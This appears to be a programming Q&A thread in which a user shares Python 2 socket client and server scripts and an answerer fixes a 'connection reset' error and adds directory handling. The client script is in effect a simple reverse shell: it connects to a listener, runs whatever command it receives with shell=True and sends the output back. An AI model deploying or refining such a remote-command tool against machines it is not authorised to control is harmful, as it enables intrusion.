cwd = os.getcwd()
while 1:
s = socket.socket()
host = socket.gethostname()
ip = socket.gethostbyname(host)
port = 8080
try:
s.settimeout(5)
s.connect((ip,port))
s.settimeout(None)
s.sendall(cwd)
i = 1
while i == 1:
cmd = s.recv(10000)
if cmd != "over":
sp = subprocess.Popen(cmd, shell=True, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
out = sp.stdout.read()+"_________________________________"
msg = out + sp.stderr.read()
s.sendall(msg)
if cmd == "over":
s.close()
i = 0
if cmd == "cd ..":
j = 0
k = 0
for i in cwd:
if i == '/':
k = j
j = j + 1
cd = cwd[0:k]
subprocess.Popen('echo', shell=True, cwd=cd)
s.sendall(cd)
print(cd)
except socket.error:
continue
Here is the error I get:
Traceback (most recent call last):
File "PycharmProjects/server-client/test_hq.py", line 25, in <module>
c.sendall(cmd)
File "/usr/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 104] Connection reset by peer
I can't figure it out what seems to be the problem...
This should be closer to what you want, it is a lot simpler to receive and send once instead of repeatedly sending and receiving the same commands:
Client.py:
import socket, subprocess, os, sys
cwd = os.getcwd()
def make_socket():
s = socket.socket()
host = socket.gethostname()
ip = socket.gethostbyname(host)
port = 8080
s.settimeout(5)
s.connect((ip, port))
s.settimeout(None)
s.sendall(cwd)
return s
while True:
s = make_socket()
try:
while True:
cmd = s.recv(10000)
if cmd == "cd ..":
# os.chdir("..") # uncomment to actually change directory
cd = cwd.rsplit(os.sep(), 1)[0]
subprocess.Popen('echo', shell=True, cwd=cd)
s.sendall(cd)
elif cmd != "over":
sp = subprocess.Popen(cmd, shell=True, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
out = sp.stdout.read() + "_________________________________"
msg = out + sp.stderr.read()
s.sendall(msg)
else:
print("closed")
s.close()
sys.exit(0)
except socket.error as e:
print(e)
break
server.py:
import socket, subprocess, os, sys
s = socket.socket()
host = socket.gethostname()
ip = socket.gethostbyname(host)
port = 8080
s.bind((ip,port))
s.listen(5)
c, a = s.accept()
fr = c.recv(10000)
cwd = fr
print("IP: "+str(a[0])+":"+str(a[1])+"\tCONNECTED")
while True:
cmd = raw_input("\n"+cwd+"> ")
if cmd == "cd ..":
print("sending 2")
c.sendall(cmd)
# os.chdir("..") # uncomment to change dir
cwd = c.recv(10000)
elif cmd != "":
print("sending 1")
c.sendall(cmd)
data = c.recv(10000)
print("\n"+data)
If you want to handle the client closing the socket and sys.exit(0) on the server side you should catch a socket.error on the server side to avoid a broken pipe error.
try:
while True:
print(os.getcwd(),44444)
cmd = raw_input("\n"+cwd+"> ")
if cmd != "" and cmd != "cd ..":
print("sending 1")
c.sendall(cmd)
data = c.recv(10000)
print("\n"+data)
if cmd == "cd ..":
print("sending 2")
c.sendall(cmd)
# os.chdir("..") # uncomment to change dir
cwd = c.recv(10000)
except socket.error as e:
print("Exception caught for {}".format(e.strerror))
If you want to do different things based on the errno you can compare in the except:
if e.errno == errno.EPIPE: i.e Broken pipe etc..
All the errno's are listed here in the errno docs
Considering the comment, this might help with your cd issues:
import re
import os.path
# Other stuff
m = re.match(r'cd(?:\s+|$)(.*)', cmd)
if m:
dirs = m.groups()
# Default to cd is home directory
if len(dirs) == 0 or len(dirs[0]) == 0:
dir = os.environ['HOME']
else:
dir = dirs[0]
if dir == '..':
head, tail = os.path.split(cwd)
dir = head
subprocess.Popen('echo', shell=True, cwd=dir)
s.sendall(dir)
# Update cwd
cwd = dir
print(dir)
else:
# Some other command